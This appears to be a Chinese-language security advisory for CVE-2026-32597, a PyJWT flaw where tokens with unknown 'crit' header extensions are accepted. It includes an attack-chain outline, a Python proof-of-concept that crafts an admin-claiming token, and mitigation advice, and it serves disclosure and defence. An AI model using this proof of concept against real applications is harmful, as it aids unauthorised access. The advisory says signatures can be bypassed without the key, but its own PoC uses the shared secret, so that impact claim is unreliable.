IPBUF安全漏洞报告
English
CVE-2026-32597 CVSS 7.5 高危

CVE-2026-32597 PyJWT 拒绝验证Critical Header Parameter安全漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-32597
漏洞类型
安全验证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PyJWT

相关标签

PyJWTJWT安全验证绕过RFC 7515Critical HeaderPython身份认证绕过JWSJSON Web Token

漏洞概述

CVE-2026-32597是PyJWT库中的一个安全漏洞,PyJWT是一个流行的Python JSON Web Token实现。该漏洞存在于2.12.0之前的版本中,源于PyJWT未正确验证RFC 7515 §4.1.11中定义的crit(Critical)Header Parameter。根据RFC规范,当JWS令牌包含一个crit数组列出PyJWT不理解或不支持的扩展时,库应该拒绝该令牌。然而,受影响版本的PyJWT会错误地接受这些令牌,而不是按照RFC的MUST要求予以拒绝。这构成了一个严重的合规性违规问题。攻击者可以利用此漏洞通过在JWT令牌中注入恶意的crit扩展参数来绕过安全验证机制。由于PyJWT广泛应用于Web应用程序的身份认证和授权流程中,此漏洞可能影响大量使用该库进行JWT处理的应用系统。攻击者可以构造包含未知扩展的JWT令牌,利用库的错误行为来执行未授权操作或获取敏感信息。该漏洞的CVSS评分为7.5,属于高危级别,攻击复杂度低,无需认证即可利用,对系统完整性产生严重影响。

技术细节

PyJWT库在处理JWS(JSON Web Signature)令牌时,未能正确实现RFC 7515 §4.1.11中定义的crit(Critical)Header Parameter验证逻辑。根据RFC规范,当JWS令牌的头部包含一个crit数组时,接收方必须检查该数组中列出的所有扩展参数是否被支持。如果遇到任何不支持的扩展参数,实现必须拒绝该令牌。然而,PyJWT在2.12.0之前的版本中缺少此验证逻辑,导致库会忽略crit数组中列出的未知扩展并接受令牌。攻击者可以利用此漏洞构造特殊的JWT令牌,在头部添加包含未知扩展的crit数组。例如,攻击者可以在crit中声明一个自定义扩展(如x-custom-extension),而PyJWT会简单地忽略此参数并继续处理令牌。这违反了JWT处理的基本安全原则,可能导致签名验证绕过、会话劫持或权限提升等问题。攻击者通过精心构造的JWT令牌,可以在不知道有效签名密钥的情况下诱使应用程序接受恶意构造的令牌。修复版本2.12.0增加了对crit参数的正确验证,当遇到不支持的扩展时会正确拒绝令牌。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用使用PyJWT库进行JWT令牌验证
STEP 2
步骤2
攻击者构造包含crit数组的恶意JWT令牌,数组中包含PyJWT不支持的未知扩展参数
STEP 3
步骤3
攻击者将恶意令牌发送到目标应用程序进行验证
STEP 4
步骤4
受影响的PyJWT版本(<2.12.0)忽略crit数组中的未知扩展,错误地接受该令牌
STEP 5
步骤5
攻击者成功绕过JWT验证机制,可能获取未授权访问权限或提升当前用户权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import jwt import json # CVE-2026-32597 PoC - PyJWT Critical Header Parameter Bypass # This PoC demonstrates how PyJWT < 2.12.0 accepts JWS tokens with unknown crit extensions def create_malicious_token(): """ Create a malicious JWT token with an unknown critical extension. PyJWT < 2.12.0 will incorrectly accept this token instead of rejecting it. """ # Token header with crit array containing unknown extension header = { "alg": "HS256", "typ": "JWT", "crit": ["x-unknown-extension"], # Unknown extension that should cause rejection "x-unknown-extension": "malicious-value" } # Payload with elevated privileges payload = { "sub": "attacker", "role": "admin", "iat": 1516239022 } # Create token (this should be rejected but isn't in vulnerable versions) secret = "test-secret" token = jwt.encode(payload, secret, algorithm="HS256", headers=header) print(f"[+] Created malicious token: {token}") return token def verify_token_vulnerable(token): """ Attempt to verify the token using vulnerable PyJWT version. """ secret = "test-secret" try: # In vulnerable version, this will succeed even with unknown crit extension decoded = jwt.decode(token, secret, algorithms=["HS256"]) print(f"[!] Token accepted (VULNERABLE): {decoded}") return True except jwt.InvalidSignatureError: print("[-] Signature verification failed") return False except Exception as e: print(f"[-] Token rejected: {e}") return False def check_crit_validation(): """ Check if the installed PyJWT version properly validates crit parameter. """ print(f"PyJWT version: {jwt.__version__}") # Create token with unknown critical extension token = create_malicious_token() # Try to decode - should fail if properly implemented accepted = verify_token_vulnerable(token) if accepted: print("[!] System is VULNERABLE to CVE-2026-32597") else: print("[+] System is NOT vulnerable (crit parameter is properly validated)") if __name__ == "__main__": check_crit_validation()

影响范围

PyJWT < 2.12.0

防御指南

临时缓解措施
如果无法立即升级PyJWT版本,可以在应用程序层面实施临时缓解措施:在JWT验证逻辑中添加自定义检查,拒绝任何包含crit头部参数且包含未知扩展的令牌;使用JWT库的白名单机制,明确列出所有支持的头部扩展;实施额外的签名验证和声明校验逻辑;考虑使用其他JWT库作为临时替代方案,但需确保该库正确实现了RFC 7515的crit参数验证要求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表